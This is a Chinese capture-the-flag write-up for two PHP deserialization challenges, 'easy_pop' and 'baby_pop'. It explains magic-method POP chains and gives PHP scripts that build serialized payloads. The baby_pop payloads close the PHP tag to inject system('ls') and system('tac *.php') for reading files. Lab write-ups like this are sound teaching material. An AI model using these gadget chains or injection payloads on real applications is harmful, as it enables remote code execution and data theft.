easy_pop
首先访问/www.zip目录,获得源码.
题目要求在hello这里传入一个pop链. 分析一下不难得出:
- 先调用
Start的__wakeup();
- 将
name变量连接到Info,通过echo调用Info的__toString();
- 将其中的
file['filename']变量连接到Room,通过指向其不存在的元素调用Room的__get();
- 将
a变量连接回Room自身,通过被当作函数调用其__invoke(),获得答案.
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class Start { public $name='guest'; }
class Info { }
class Room { public $filename='/flag'; public $a=''; } $a=new Start(); $b=new Info(); $c=new Room(); $d=new Room(); $c->a=$d; $b->file['filename']=$c; $a->name=$b; echo serialize($a); ?>
|
Source:题库
baby_pop
观察得知起点只能选择fin. 构造的pop链如下:
- 从
fin的__destruct()开始;
- 将变量
f1指向what,以触发__toString();
- 将变量
a指向mix(或fin),以调用其中run()函数;
- 将变量
m1(或f1)指向crow,以触发__invoke();
- 将变量
v1指向fin,由于world()函数不存在,触发其中的__call();
- 将变量
f1指向mix,以调用get_flag().
对于想要执行的命令,由于前面有一个注释符号导致命令无法正常执行,可以通过闭合php标签的方式绕过.
1
| $m1='?><?php {your_code_here}';
|
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class crow { public $v1; } class fin { public $f1; } class what { public $a; } class mix { public $m1; } $a=new fin(); $b=new what(); $c=new mix(); $d=new crow(); $e=new fin(); $f=new mix(); $f->m1='?> <?php system(\'ls\'); system(\'tac *.php\');'; $e->f1=$f; $d->v1=$e; $c->m1=$d; $b->a=$c; $a->f1=$b; echo serialize($a); ?>
|
另一种思路:
在第4步时将指向函数直接设置为mix中的get_flag(),直接执行.
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class crow { public $v1; }
class fin { public $f1; }
class what { public $a; } class mix { public $m1; } $a=new fin(); $b=new what(); $c=new mix(); $f=new mix(); $f->m1='?> <?php system(\'ls\'); system(\'tac *.php\');'; $c->m1=array($f,'get_flag'); $b->a=$c; $a->f1=$b; echo serialize($a); ?>
|
Source:题库